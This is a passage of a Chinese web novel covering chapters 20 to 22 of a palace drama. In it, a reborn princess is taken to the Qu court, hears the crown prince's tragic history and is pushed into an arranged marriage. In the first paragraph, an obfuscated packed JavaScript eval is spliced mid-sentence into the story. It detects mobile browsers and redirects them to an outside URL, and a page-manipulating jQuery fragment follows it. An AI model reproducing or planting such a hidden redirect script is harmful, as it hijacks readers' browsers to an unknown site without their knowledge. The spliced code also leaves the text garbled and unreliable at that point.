犹记得,落花啼上一世被曲探幽锁在宫闱,窥不见天光,曲瑾琏饶有趣味特地前来,字字凿刺人心,羞-辱道,“落花啼,落花国被灭之事已成历史过去,你也对曲朝俯首称臣,就无须计较先前的旧事了。七弟待你不薄,你跟着他挺好,他一高兴,你的日子不会差的。眼下你性命保全,四肢仍在,可比被斩首处死一命呜呼得好。你说,是与不是?” 曲瑾琏探身凑近遍体鳞伤,憔悴失神的落花啼,伸出食指勾起后者尖尖的下巴,摩挲两下,“本皇子问你,你的心底是否还存有对七弟的滔天恨意?你如实告知,有没有恨?” 落花啼半敛眼睫,波澜不兴,语音冰冷,“……奴婢不敢。” “不敢?是不敢恨,还是不敢不恨呢?你没有正面回答,那么可不可以理解为,你恨七弟,却又无法奈何得了他,因此只能说不敢?” 落花啼沉默不语。 曲瑾琏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810655|175219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的两只眼睛宛如野兽捕袭猎物般精光爆涨,危机四伏,他扬起唇角,“落花啼,你想不想知道,自你来到曲朝之后,你的那些落花国剩余的老百姓,是何种下场?” “哗啦”一声,酒杯横倒,他手中的酒水悉数溅在地面上,如雨点般洒漫,似昙花般一现,恰同抓不住的星光陨落于天角。 刺鼻的酒味扑面,像无解的毒药浸入骨髓,防不胜防。 落花啼唇齿抖动,忐忑道,“四,四皇子,这是何意?” “落花国百姓,便如此酒,覆水难收,皆已魂归西天,步至极乐世界。” “……”闻言,落花啼痛彻骨髓,宛遭雷轰,动弹不得,自脚底朝头颅顶端腾出一股言语不出的刺骨寒凉,险些呼吸一窒。 佯装的孤傲坚强碎成一地渣滓,惹人咥笑。 当时之景历历在目,不忍回首。 落花啼遍体生寒,攥紧双拳,冷眸死死地瞪着靠近的曲式兄弟。 一道黑影闪在前方,遮去了落花啼仇恨的视线,曲探幽见他的二位兄长款款走近,微而点首,算是打了招呼。 曲瑾琏,曲钦寒一俱拱手行礼,字正腔圆,“太子殿下。” “皇上命我等迎太子殿下回宫。” “有劳四哥,六哥。” 眉峰半挑,一笑而过。曲探幽龙血凤髓,俊美丰神,是货真价实的一人之下万人之上,地位高,权势大,无人不艳羡钦服。他习惯了众兄弟姊妹的逢迎谄媚,倨傲的眼尾上挑,凤目衔玉,美憾尘俗。 他言简意赅地为曲氏兄弟介绍了落花啼和落花鸣。 “落花啼?” 曲钦寒沉吟一刻,目色睇眄,俊眼微眯,“这名字,仿佛在何处听过。” 嗤笑,曲瑾琏的眸珠亮得出奇,笑得尖牙森然,偏头提醒道,“六弟,你又贵人多忘事了。落花啼不就是落花国的长公主吗?是七弟自幼定亲的未来妻子,以前小时候咱们还见过几次。” 曲钦寒一愣,看定落花啼,闭口不言了。 曲瑾琏哼笑,俯身细看面前的红衣女子,轻佻至极,“早闻落花国惯出遗世美女,可见,此言不虚。七弟真是好福气啊,能得如此良妻。” 这话听着真他祖宗的晦气! “四皇子玩笑了,福气一词可以用在己身,不适合用于他人身,若论福气,应是我有福气。牵扯上太子殿下,我自己的福气便成他的福气了,岂非很是划不来。四皇子这般言说,我是真正受不住。”抬高下巴,眼光转盼,落花啼绵里藏针,笑颜如花。 曲瑾琏浸-淫朝野多年,怎会听不出落花啼夹枪带棒之辞,反问道,“是吗?” 落花鸣拂袖上前,举手拦下想据理力争的落花啼。他生得仪容不俗,眉目清明,囅然微笑时颇有和善气息,巧言道,“初次见过四皇子,六皇子,果非凡人,和太子殿下各有千秋,曲朝地灵人杰,旁的旮旯哪能有如此雄朗之人。今日来此,劳烦二位皇子亲自出面了。” 一段话想一石三鸟讨好曲朝的三兄弟,然而效果幽微,贻笑大方。 曲探幽,曲瑾琏,曲钦寒心知肚明落花鸣目下有远来外域,寄人篱下的畏惧,缩手缩脚,以至于这些蹩脚的奉承轻易入不了耳。 对曲探幽而言,拿他和四哥六哥比较,就是有辱他太子的身份。 而于曲瑾琏,曲钦寒来说,便能隐约嗅出他们比不上曲探幽的含沙射影的讥讽。 三人容色愀然一变,以极快速度褪了去。 曲探幽不愿耽搁,直言,“龙鳞花已到曲朝,父皇期待时久,分秒珍贵,先回皇宫罢。” 20. 以求长伸也 第二十章以求长伸也 (蔻燎) 夜笼天地,吞噬星空。 曲朝皇宫的阆苑殿,华灯初上。奢靡的金色海洋辉映无穷,罩染得半边天都亮堂堂,闪晃晃,不似夜色,倒像白昼。 琼浆玉液泛璃盏,珍馔美肴满金盘。 大殿中央是皇帝皇后的坐席,左右分布皇子公主,王爷大臣,再往下就是一些品阶稍高的肱骨重臣,其余排不上名号的官员是没机会参加此宴会的。 落花啼,落花鸣远道而来,乃是挨着太子殿下曲探幽坐在左边一桌,离皇上位置极近,可见曲探幽在曲朝皇上内心的分量无比之重。 两列皇亲国戚坐满了宴席,瞥见落花国来的几名陌生面孔,交头接耳,私笑低语,一副看猴子的高高在上的表情。 而上首的帝后二人却迟迟不见身影,座位空空如也。 落花啼环视周遭,不经意对上曲探幽扎在自己身上的视线,扁嘴,瞪了其一眼,转身端起茶盏小抿一口。 “皇上皇后驾到——” 一太监阴气森森的喉音灌入在场之人的耳朵。 众人议语戛然而止,齐齐起身弓腰,“参见皇上皇后,皇上万岁万岁万万岁,皇后千岁千岁千千岁!” 阆苑殿的正门推向两边,一群衣着华丽的宦官宫女簇拥着两抹人影举步而入,馥郁的龙涎香被夜风一漾,漾进了殿内人的鼻腔,纷纷身似弦绷,不敢擅动。 “信诚年幼,心症与咳疾频发,若太医院拿不出有用的法子,即刻摘了院判的脑袋,丢出去喂野狗!” “皇上息怒,信诚是不小心着染风寒,引发心症不适,吃些药闭门不出养几日便好,是臣妾照顾不周,让皇上操心了。” 但闻人声,不见真容。 曲朝帝后一面进殿,一面讨论着幼子的身体状况,分毫没有一丝出席宴会的庄严,略显家常便饭。 黑衣宦官一律撤退,帝后双双依偎的身形才抖出冰山一角,慢慢跳进眼眸之中。 曲远纣一袭腾龙金袍披身,负手踱步,剑眉入鬓,龙目生威,眼仁阴鸷,不苟言笑。一旦有人和他对视,便能发觉不管他的眼睛看谁,都像是在看一只卑贱的畜生。 覆掀雨,曲朝的皇后,黑羲国国王的亲堂妹,黑羲国王室的郡主。她怀抱一只黑白两色的西施犬,纤细玉手温柔地抚摸狗儿的垂耳,嘴里呢喃,“小小乖,小小最乖了。” 身穿白底绣红莲凤凰的长裙,发鬓的珠钗多为浅色银饰,脑后簪了一朵黄色的洛阳牡丹。明媚绣面上画了清新素雅的淡妆,笑容可掬,柔婉亲切。 两人坐在上首,俯瞰下方。 曲远纣这才恍然,出言道,“平身,无须多礼。” 众人道了句“多谢皇上”,悄声回椅。 此时曲探幽身后的入鞘击了击掌,下一秒,一队侍卫抬着轿子大小的蒙了红色丝绸的物体上来,轻手轻脚置于地面。 曲探幽站起,身姿峻拔,不紧不慢道,“父皇,此乃出自落花国的龙鳞花,儿臣不负众望,特将此宝物祥瑞奉给父皇,祝愿父皇福星高照,与天同齐,千秋功业世代不倒。” 数年来曲远纣最喜爱的皇子莫过于第七子曲探幽,听了一席美言,凶巴巴的脸孔多了点软和,赞叹道,“探幽果然办事妥当,朕很是欢喜,那么,取下红绸,容朕与诸位皇室大臣好好观一观龙鳞花的风采。” 曲探幽点头,道,“打开。” 侍卫们自一边聚力掀开,飘逸的红绸摇摇晃晃坠地,红绸下是一座巨大的三足青铜鼎,鼎上铭文横陈,壁纹繁褥,一看就是价值不菲之物。 青铜鼎中心,栽着一株黄金色泽的龙鳞花。 花瓣像菡萏,叶子似菊掌,枝干像荆棘,通体生着龙鳞纹路,风吹摇曳,仿佛在抖动之间能洒下稀稀疏疏的金沙。 若将阆苑殿的所有华灯熄灭,龙鳞花的金光就足以照耀整个殿堂。 “啪,啪,啪……” 曲远纣鼓掌称绝,眼冒金光,抑制不住下了龙椅,神魂颠倒地走到龙鳞花周围,爱不释手地缓缓轻抚,啧啧叹奇,“妙,妙啊,世间果真有如此神奇的花朵,朕这五十多年来,也是头一回遇见。” 殿内百余人伸长脖子围观,窃窃私语,连连附和,震惊得舌挢不下。 一位人精的大臣笑意堆积,谄媚道,“皇上得此祥瑞,必保大曲亘古长青,众国俯首,一统天下,指日可待!” “哈哈哈哈哈!”这些话可谓是顺着曲远纣的心窝子了,他的眼睛盯着龙鳞花,话语却悄无声息移向另一方面,耐人寻味道,“探幽,此花来自落花国,那落花国可有人前来领万两黄金呢?知恩图报,可是曲朝自古以来便推崇的高尚作风,既然得到了宝物,落花国就得拥有相应的谢礼。” 曲探幽道,“父皇,落花国来人了。” 曲探幽巨细靡遗地介绍一通,落花啼,落花鸣走到殿中央,弯身行礼。 “落花啼拜见皇上!” “落花鸣拜见皇上!” 兄妹二人的大礼一毕,曲远纣充耳不闻,如痴如醉地摩挲着龙鳞花的花瓣枝叶,好像全部摸一遍才能保证这龙鳞花真真正正地属于他。 他的面庞被龙鳞花的金光照得金黄,宛如硬邦邦的黄铜人,莫名可怖。 落花啼咬牙,眼帘一撩,抬头字字珠玑道,“皇上,落花国送来的龙鳞花,可还合心意?” 沉迷祥瑞的曲远纣似乎刚反应过来落花兄妹还未起身,冷冷笑道,“瞧朕的记性,竟忘了你们还在施礼,起来吧。龙鳞花虽长在落花国,可它的持有者只能是朕,朕自然满意不已。” 他的目光落定在腰板笔直,亭亭玉立的落花啼脸上,一怔,道,“落花啼,多年不见,你出落得越发漂亮了。” 瞅瞅落花鸣,仍奇怪地笑着,“落花国的太子也长大了,看来时光匆匆,一去不复返啊。” 落花啼,落花鸣淡淡一笑,不予回答。 曲远纣回位坐下,或许是高兴龙鳞花的到来,他同王爷,大臣,皇子公主们推杯换盏,觥筹交错,喝得红光满面。 醉以美酒,放肆豪迈。 落花鸣被曲瑾琏,曲钦寒等其他皇子叫过去喝酒,盛情难却,不得不接下一杯杯的烈酒,晕乎乎的分不清东南西北。 落花啼想去给落花鸣挡酒,曲瑾琏身着冰台色衣袍,似水若雾,一臂隔开落花啼,迷蒙道,“落花啼,你别来沾边了,你的大哥难不成还饮不了几杯小酒吗?你无聊的话去找七弟,七弟愿陪你对酌。” 横眉竖目,落花啼嗤一声,想拽住落花鸣的手不松,却听大哥道,“花啼,无须管我,我同他们热闹一番罢了。” 明白落花鸣打算借机和曲朝皇子拉拢关系,但落花啼何曾不知曲朝的人蛇蝎心肠,肚子里没憋好屁,自己的大哥根本玩不过他们。 手腕一紧,落花啼被一只青筋微隆的大手扯着远离乌烟瘴气的地方。 坐回原位,她气愤道,“有话就说,有屁就放,别拉拉扯扯!” 曲探幽示意一旁的银芽布菜斟酒,忽视落花啼的怒容,勾魂摄魄地笑,“宴会合该玩乐,你不该 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暗自腹诽,曲朝的饭菜一点没落花国的清淡养人,怪不得这里的人都尔虞我诈,笑里藏刀,感情吃得太好了,营养全长在心眼上了。 意兴阑珊地甩开筷子,落花啼准备去看看落花鸣,阻拦他别喝太多,还没动身,一道清灵甜美的声音响在背后。 一只雪白的柔荑伏在肩膀上,玉指修长,蔻丹粉嫩,“小花啼,你来了,多年不见,你还认得我么?” 旋身,星眸珠颤,落花啼不可思议地望着对面的貌美女子,张口结舌。 你还认得我么? 认得,认得,怎么会认不得呢? 曲双蛾是曲朝的灵华长公主,曲探幽的嫡亲姐姐,同父同母。 在前世,落花啼屈辱地跪行敬酒时,撇开曲探幽这个罪魁祸首,曲双蛾是唯一一个不忍心喝落花啼倒的酒的人,还出面向曲远纣求情放落花啼一码。 她知书达理,善解人意,是曲朝皇宫上下所有人公认的善良的大公主。 前世的落花啼在那日便记住了曲双蛾,从那之后,她就希望能有机会接近曲双蛾,祈求她助自己逃跑。 曲双蛾惺惺相惜落花啼和她同为长公主。 落花啼命运坎坷,遭遇黍离之悲,她怜悯心疼落花啼的悲惨人生,偷偷瞒着被政务束缚的曲探幽,大胆襄助落花啼跑了三次。 然而,三次逃跑,落花啼皆被疯狂的曲探幽在宫外轻而易举地抓了回来。 三逃三擒,猫捉老鼠一般,希望一次次破灭,绝望一次次席卷。落花啼身心俱疲,郁郁寡欢,她对曲探幽的恐惧如日中天,听见对方的声音都会令她极度不安。 直到最后,她被废去武功,活像只折了翅膀的病鸟,再也没机会蹿飞蓝天,获得自由。落花啼的心也一点一点死去。 困在曲探幽身侧那逃不掉的七年,是她一辈子刻骨铭心的剧痛噩梦。 那七年,曲双蛾是暗无天日中奢侈的一缕暖阳,支撑着她活下去。 她感谢曲双蛾,从前世到今生,感激之心与日俱增。 若要屠戮曲朝的所有人,她也会留曲双蛾一命,这是她的最后让步。 落花啼眼眶一热,“双蛾姐姐。” 曲双蛾抱着落花啼的脑袋,轻轻抚摸,莞尔道,“小花啼,你记得我,我高兴极了。知道你会来曲朝,我几乎天天期盼着。” 21. 幽意无断绝 第二十一章幽意无断绝 (蔻燎) 盛筵必散,酒终告罄。 落花啼,银芽在皇后覆掀雨的同意下住进了曲双蛾的欢漪殿,落花鸣则跟着曲探幽去了东宫,落花士兵们被打发去了皇宫外的围房居住。 夜里,落花啼和曲双蛾抵足而眠,互相说了很多体己话,曲双蛾诧异落花啼为何对自己有这么多言语要谈,但也不问缘由,一味柔笑着倾听。 落花啼道,“双蛾姐姐,你很好,善良貌美,堪称完美无缺,为何曲探幽却是一身阴翳气息,乖戾嚣张?” 曲双蛾答道,“寂闲自幼脾性古怪,不服钤束,我能明白,可怜母后早逝……他也是大受打击了。” “母后?皇后娘娘不是健在吗?” “小花啼,她是皇后,但不是我和寂闲的母后啊。” 曲双蛾揉揉落花啼的小脸,水眸低下几分,呢喃道,“宫里的日子,哪有那么舒心,都是苦中作乐罢了。” 谈起曲探幽这位同一个母亲所生的亲弟弟,曲双蛾似乎兴致高涨,话匣子一摔即开。 莲花镂空金炉里燃着两片沁人心脾的白檀香木,袅袅娜娜的雪色雾气盘旋在两人头顶,如鹤影,如孤云,如逝去的往昔。 落花啼自曲双蛾口里得知,曲朝的前皇后水绫衣,出生在已经被灭国多年的曲水国,当时她是曲水国养尊处优,花颜出尘的小公主。 涉世未深的水绫衣在曲水国的首都潺城认识了曲远纣,两人一见钟情,被爱情冲昏头脑的水绫衣欢欢喜喜地嫁给曲远纣,浓情蜜意十几年。 在曲朝戌邕二十年时,曲双蛾十二岁,曲探幽刚好九岁,那一年,曲远纣不顾水绫衣的阻拦,瞒着他的发妻发狠攻下曲水国,一举将曲水国吞并进曲朝,扩大了曲朝的疆土国域。 曲远纣曾言,“曲水国,曲水国,环绕曲水河而建的一方小国罢了,弹丸之地,不值一提。它的名字与曲朝相似,同脉同支,何不早早归属一家?” 世上再无曲水国。 曲水国的王室被赶尽杀绝,残肢枕藉,血漫山河,数人失踪,数人尸骨无存,数人被挫骨扬灰。 水绫衣得知消息时正怀着第四个孩子,肝火大动,怒发冲冠,不禁气得流-产血崩,暗红的血水像地狱里的触手淌在她的两腿间,令人窒息。 从那日起,水绫衣恨毒了欺骗她的曲远纣,不管曲远纣如何撒谎狡辩,自证清白,指天发誓,她都一个字不相信。她无情地拒见曲远纣这个所谓的九五之尊,闭门锁窗,不吃不喝,心愁形愁,痛不欲生。 曲远纣后宫佳丽三千,美人似春花,一茬茬地开,一簇簇地败,多得数都数不清。他怎会介意失去一位没有家国依附的皇后?他的耐心耗尽,便不再去见水绫衣,水绫衣也成功失宠于曲远纣,过上了如同冷宫的凄凉日子。 那段时间,年幼的曲双蛾和曲探幽哭红眼眶去求见她,她也拒之门外,置若罔闻。 终于,她出手了。 曲朝戌邕二十三年,曲朝皇宫发生暴乱,皇后水绫衣勾结江湖杀手刺杀曲远纣,奈何曲远纣恶人多警惕,硬拉一妃嫔来挡剑,侥幸逃过。 卷入权利斗争,惹上弑君之罪,年仅三十五的水绫衣没有杀死灭国仇人,便可怜地惨死中宫,无人问津。 曲探幽当时十二岁了,他泪眼朦胧,跌跌撞撞跑去见自己的母后,奈何,造化戏人,他亲眼目睹水绫衣死后的血腥画面。 太子殿下从此夜夜梦魇,魂不守舍,吃什么吐什么,喝什么呕什么,半个月就瘦了二十斤,形如枯槁,大病不起,险些死去。 他明白,母后水绫衣不止恨着曲远纣,还连带着恨上了体-内流着曲远纣血液的自己和姐姐。 所以母后才不愿意见他们,一眼也不想见。 没过多久,曲远纣重新立了一位皇后,也就是黑羲国的郡主覆掀雨,两人恩爱有加,夜夜笙歌,播云种雨。 水绫衣的死,于曲远纣而言,无伤大雅,不痛不痒,除了愤怒她找人暗杀自己,倒没有多余情绪了。 一席话听罢,落花啼陷入遏制不住的长久沉默。 她从来不知曲探幽的过去会这般“悚然”,心池涟漪翻滚,欲语还休。 如果前世曲探幽的母亲也是这样惨死,那么为何曲探幽还能干出覆灭落花国,屠尽万千无辜落花百姓的恶事呢? 难不成是龙生龙,凤生凤,曲远纣生出来的儿子曲探幽也是个怙恶不悛,杀伐暴戾,野心滔天的冷血坏种。 父子俩的做法人神共愤,如出一辙,不足奇怪。 落花啼星眸黯淡,对曲探幽的看法多了些复杂,但她现在更心疼曲双蛾摊上这么个父皇和弟弟。 上一辈子的经历让落花啼感同身受,泪珠跌落,簌簌不止,靠过去抱着曲双蛾,细语安慰道,“双蛾姐姐,苦了你了。方才你说水皇后怀过第四子,已然流-胎,那不算上你和曲探幽,是否上面还有一位……” 曲双蛾亦涕泪涟涟,抹一把水痕,明明自己难过,还要反手拍一拍落花啼的背心,感慨道,“嗯,是我们的大哥,曲朝的大皇子曲靖木,如果他还活着的话,应该比寂闲现在的年纪还大很多很多,可是,他在三岁时便夭折了,我也没有见过他。” 落花啼如鲠在喉,“原来如此,可见水皇后多么伤感痛苦。” 嫁给恶魔曲远纣,水绫衣遇人不淑,真是倒了十八辈子的霉运了。 落花啼哄了曲双蛾半个时辰,两人的泪水才凝住,曲双蛾想遗忘伤心事,下床披一件外袍,擎着灯去了殿内的一面高墙边,对落花啼招手道,“小花啼,来,给你看个好玩的。” 跳下床,快步追上,落花啼眨巴眼眸,期待道,“什么?是什么好东西?” “小花啼,你可能没看过寂闲小时候的模样吧,你看,这是他一岁时,这是两岁,这是五岁,这是十一岁,这是十二岁……十二岁过后,便没有了。” 曲双蛾叹息,“母后离世,再没有人为寂闲和我一年画一幅像了。寂闲的这些画,原本挂在东宫,他每每触景生情,不敢多看,送来让我保管。你看他,那时候拿箭射鸟,玩狗爬树,整个皇宫的屋顶都被他踩过一遍……时间好快啊,寂闲都快成家了。小花啼,你放心,你届时嫁给寂闲,他一定会好好待你的。” “……” 听到最后一句话,落花啼不知该哭还是该笑。 曲探幽会对自己好,作什么美梦呢? 落花啼假意点首应和曲双蛾,慢吞吞把眼光投至那密密麻麻的一面墙,借着摇晃的昏黄灯火,她看见了曲探幽的幼年时期。 一岁的曲探幽,是白白粉粉的一小团,蜷在水绫衣的怀抱里嗷嗷待哺,两只黑黝黝的大眼闪着星宸之光。 两岁的时候,他穿上了缩小版的精致龙袍,白底滚了龙纹金边,华美大气,他蹒跚学步,咿咿呀呀,肥乎乎的小胖脸很讨人喜。 七岁的他,五官气质颇有现在的倨傲,眼睛犀利得叫人无法直视,端着比他还高的弓弦,瞄准远处树巅上的一只白头翁,箭矢破空,一发即中。 九岁的曲探幽,高高兴兴换上了水绫衣亲自缝的小披风,腰间挂着一对玉镶金的龙形玉佩,俊脸被阳光笼罩,显得他活泼开朗,意气瑰然。 小小年纪的曲探幽,眉宇就有了挥之不去的帝王气息,睥睨万物的眼神与如今别无二致。只不过,长大的曲探幽的气场更强大,随便笑起来都像是在计划着阴谋,让人如避蛇蝎。 落花啼有感而发道,“太子殿下的人生也跌宕不平,出人意料。” 一夜无眠。 次日,落花啼梳洗打扮后,方一出门,就得到了曲远纣的赏赐,万两黄金堆满了拿来单独存放这些金子的一座殿宇,等着她回落花国一并挪走。 曲远纣不仅送黄金,还顺道儿敕封落花啼为“花天女”,意为天降花神,福雍万载,千秋不灭。 最后一步,将她和曲探幽的婚期订在了戌邕三十三年夏季。 晴天霹雳! 轰得落花啼僵如死木,火星四冒,难以回春生芽。 先不论花里胡哨的“花天女”有何用处,一听见她与曲探幽成亲的日子都算好了,落花啼一口血堵在喉咙里,咽不下,吐不出。 昨儿接风洗尘的宴会上,落花啼与曲双蛾先行回殿安置,曲远纣刻意提起落花啼和曲探幽的娃娃亲一事,他开门见山道,虽然以前的水皇后不在了,但是两国的婚事还是要办的。 大有同一个计谋再使一次的意味。 他似笑非笑地将曲朝的五公主曲柔忆赐婚给了落花国的太子殿下落花鸣,言称双喜临门,双福垂世。 醉酒头晕,意识不清的落花鸣 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“回长公主,道长说,若无重要之事,请不必联系他。” “……” 屋内静默了。 落花啼竖着耳朵听了个七七八八,猜测曲双蛾应是有爱慕之人,不作多想,拽上银芽出了欢漪殿。 两人走走停停,无头苍蝇般找不着北。 落花啼揪着一路过的小太监,丢给人一颗银子,叫他引自己去东宫。 小太监在前面领路,落花啼在后面边走边揽着银芽,问道,“银芽,昨儿你和桃镯睡一起,还睡得舒服吗?” “公主,奴婢睡得还行,就是桃镯姐姐晚上总爱起夜,时常吵醒奴婢,旁的倒没什么。” “哦,那就好,我怕你睡不好,因为不知道我们得在曲朝耽搁多久,你若想一人睡觉,我晚些找双蛾姐姐商量一下,给你留一间……” “公主,银芽不在乎是不是一人睡一间,只要公主在哪,银芽能跟着就很开心了。”摆摆手,银芽笑得月牙眼弯弯,“公主待奴婢最好了,奴婢不能给公主和曲朝长公主添麻烦的。” 落花啼“嗯”一声,“也是,不该太麻烦双蛾姐姐。” 说着说着,前方的小太监顿住了,站在离东宫二十米远的地方,梗着脖子道,“春还公主,太子殿下的东宫到了,太子殿下不喜闲杂人等接近东宫,违者鞭刑伺候,恕奴才无法带公主进去。” 曲朝的东宫位于皇宫的东侧,一大片高耸的巍峨建筑,乍一看,仿佛连绵的金色山峦,无边无际。 桂殿兰宫,瑶台琼室,玉砌金铸,美不可言。 东宫,悬书阁。 一支支镀金盘龙的银烛垂泪到天明,不熄不灭。 金丝檀木案前的一道身形枯坐不动,指尖的书页掠过,“唰”的一声,停滞良久,再“唰”的一声。 浓鸷阴沉的俊脸蒙上一层失眠的疲惫,眉心蹙紧的纹路揉按不消,曲探幽捏捏鼻梁,丢下书,昂头靠回椅背上。 喉结轻微地滚了滚。 神思飘摇,随风潜入昨夜。 曲远纣在宴会散去后,命人把龙鳞花养在自己的寝殿,日日寻十岁以下的小宫婢小太监用血饲养,祈求曲朝永霸天下,子孙无穷尽。 他叫上曲探幽观赏龙鳞花,状似无意地抛出笑问,“探幽,朕有一疑未能明晰,得让你解惑一二——龙鳞花绽放之时,何人在场?除了你,有无其他人?” 曲探幽缄默了一秒,“父皇,只有儿臣,没有旁人。” 话音一落,曲探幽清清楚楚看见了曲远纣眼底汹涌的诡异而复杂的神色,转瞬消逝。 曲远纣冷笑,重重拍了拍曲探幽的肩膀,“那便好。能逢见龙鳞花开之人,除了龙子凤孙的探幽,还有谁人相配?探幽,你的福气真不浅。” 眉峰拧紧几分,曲探幽取过烛台,一口气吹灭了那柄苟延残喘的银烛。 烛火的霭霭青烟战栗着融入空气,一瞬就不见了。 “咚咚咚。” 清脆的扣门声撞来。 曲探幽略微不耐烦,“谁?无事就滚!” 一声音道,“太子殿下,我有事想同你聊一聊,你若不得空,我晚些再来。” 22. 小人长戚戚 第二十二章小人长戚戚 (蔻燎) “进来。” 曲探幽听清来人,淡声道。 门外之人得到答复,抱着一坨明黄色彩,缓然推门步入。 落花鸣定睛一望,觑见书案边的倦容未褪的曲探幽,踌躇一刻,见缝插针地奉承,道,“太子殿下,你孜孜不倦,废寝忘食看了一夜书,果是人中龙凤,刻苦勤勉,无人能及。‘学如弓弩,才如箭簇,识以领之,方能中鹄。’可见太子殿下深谙其理,求学似渴……若常人都能有太子殿下这般的毅力恒心,自然也能顺利得到想要的事物。” 曲探幽一抖衣袍,起身走来,客气地迎落花鸣坐下,“大哥何必折煞孤,同为太子殿下,你称孤为探幽便是,一口一个‘太子殿下’怕是显得生疏了。” 落花鸣能找来悬书阁,不出意外是入鞘将人带来的,入鞘这么做,必定是碰上不好处理的事情。 换言之,是落花鸣遇见了急事。 落花鸣昨儿饮酒过多,浑身酒气,早已沐浴更衣换了身新衣裳,他惴惴不安地瞅着曲探幽,犹豫再三,还是把怀里的明黄圣旨捋开,追悔莫及道,“……探幽,我昨天陪曲瑾琏和曲钦寒喝了太多酒水,神智无知的时候接下了赐婚圣旨,这可如何是好?你与花啼的婚事也便罢了,只是——我和曲朝五公主未曾谋面,如此,算不算是过于草率,我,我,我想……” “大哥。” 曲探幽笑得阴恻恻,他按住落花鸣慌张的手掌,看也不看圣旨,“父皇的决意已定,毫无斡旋可能,孤和春还公主,你与五妹,乃是亲上加亲的好事,何必介怀?” “不,我怕花啼会生气,父王也不知晓此事,我,我终是做错了事。” 落花鸣今日在东宫的偏殿醒来,酒意褪祛,便被下属提醒了昨夜的事,他瞟见床头搁着的两道赐婚圣旨,如遭雷劈,动也不动。 他心惊胆战,一旦抗旨,两国的关系就会变得僵硬,危险,不平等。 先前只有落花啼,曲探幽的婚事,现在加上他和五公主的,等于是把落花国绑给了曲朝。 抗一次圣旨或许有一点点生机,但是抗两次的话,那就是在告示天下人——我们落花国跟曲朝对着干,不服来战。 那可真是绝无转圜之余地了。 悔不当初,悔不当初啊。 落花鸣并不想被迫娶一位从未接触的异国公主,他们落花国又不是没有可心的美人…… 看眼下情形,若无十成把握,根本抵抗不住曲朝的攻打,曲朝如果不给面子,那就是往死里打落花国。 枫林国,曲水国,是典型的前车之鉴。 常言道,前车已覆,后车须戒,否则就是重蹈覆辙,下场惨烈。 “这是喜事,怎么在大哥的口里便成了错事?” 明窗外透过白日的亮光,侧身站立的曲探幽的脸孔一半明一半暗,眼珠深似死井,他伸手抓住落花鸣的肩膀,笑道,“大哥,你无须担忧,孤会对春还公主好的,你和五妹也能日久生情,一切莫须有不应该存在的顾虑,不防全部抛之脑后?留着苦苦折磨自己,不累么?” 太息。 落花鸣摇摇头,又点点头,苦涩无言。 “咚!咚!咚!” 强烈贯耳的敲门声不合时宜地响起,入鞘在外道,“太子殿下,春还公主求见,她已在悬书阁候了半盏茶的时间,她实在等不及了。太子殿下,你现下可有闲暇见见春还公主?” 闻言,落花鸣浑身一震,急得想找地洞藏起来。 曲探幽却一脸不嫌事大的笑容,专门要闹得天翻地覆,吩咐道,“来得正好,请进来。” “春还公主,请!” 入鞘毕恭毕敬道。 落花啼嗤了嗤,蛮力闯开两扇雕花门,脚还没抬进去,嘴里就谩骂,“曲探幽,你们曲朝能不能别玩阴的……” 转头一见落花鸣在场,积压的怨怼汹涌澎湃,冲过去提起两道圣旨正面反面盯了三四遍,一怒之下笑出声,她抠抠额头,斜睨曲探幽,“是你,你撺掇曲瑾琏,曲钦寒灌醉我大哥,借机给他上套,是不是?” “圣旨已下,是不是还重要吗?” 曲探幽掀唇,饶有趣味地凝睇落花啼,“春还公主,与其生气,不如随遇而安,或许,结局并没有你设想的那么糟糕。你不想试一试?” 此话已然变相承认的确是他从中作梗,不仅要困住落花啼,还要害得她大哥也受制于人。 曲探幽起初怂恿落花鸣来曲朝,就没安什么好心,为的就是给落花国放置一个定时炸弹,五公主曲柔忆若嫁去落花国,必然不是简简单单地过去。 届时落花国完全成为曲朝的盘中餐,囊中物,想何时咀嚼拆吃,就何时倾巢出动。 事已至此,不能像上一世那样和曲朝撕破脸皮,让他们找到借口攻打。不如顺着曲探幽的想法暂时走下去,逢山开路,遇水搭桥,反正他不知道自己是重生的人。 她也能伺机打入曲朝内部,竭尽全力给自己夺得好处利益。 如今,是她在暗,曲探幽在明,曲探幽不会预料到她如何处理曲朝,那么孰输孰赢,鹿死谁手,还是个未知。 气大伤身,曲探幽这种恶人,不值得因他生气。 落花啼脑海闪现白光,一念急跃,故作风轻云淡地将圣旨揣落花鸣手里,转头看向曲探幽,柔柔笑道,“嗯,本公主思来想去,你说得好像有点道理。倘若跟着曲朝的太子殿下,吃香喝辣,说不定以后能当皇后呢,不错不错。所以,曲探幽你要加把劲,千万别让你的其他兄长弟弟抢了你的龙椅哦,我呢?我就坐享其成,等你日后登基吧。” 漂亮话谁不会说,她一样能说得天花乱坠,夸得曲探幽哈喇子都掉下来。 曲探幽定定不移地注目落花啼的一举一动,观察须臾,未能看出不对劲,沉声道,“你终于松口了。” 再无下文。 坐在椅子上瞠目结舌的落花鸣,动一动嘴唇,“花啼,果真吗?” “难道大哥有什么对策吗?” “花啼,这如何同父王母后言清……” “两国联姻,在父王母后眼里是最正常不过的好事,他们不会忧虑的。” 如果落花啸,花汲人不想倚靠曲朝这棵大树,伊始就不会与水皇后定下两国的亲事。落花啼和曲探幽成亲,大抵是他们乐见其成的。 落花鸣缄默,站起来道别曲探幽,捧着圣旨回屋,不多时,他的屋里便炸起几声“噼里啪啦”的耳刮子,堪比滚雷,除了拿自己的贴身侍卫撒火,他何以发泄愤懑。 好在悬书阁离得远,听不见一丝风声。 落花啼需要时间消化一下她会嫁给曲探幽的事实,冷若冰霜,抽身便走,谁知身体顿时被一股狠力抱紧,强壮的双臂卡在她腰肢上,疼得人头皮直抽-搐。 努力挣扎,还是摆脱不了。 落花啼闭了闭眼,压着火,“曲探幽,你想干什么?才给你一点颜色,你就急着开染坊?上赶着的不值钱的狗玩意儿。” 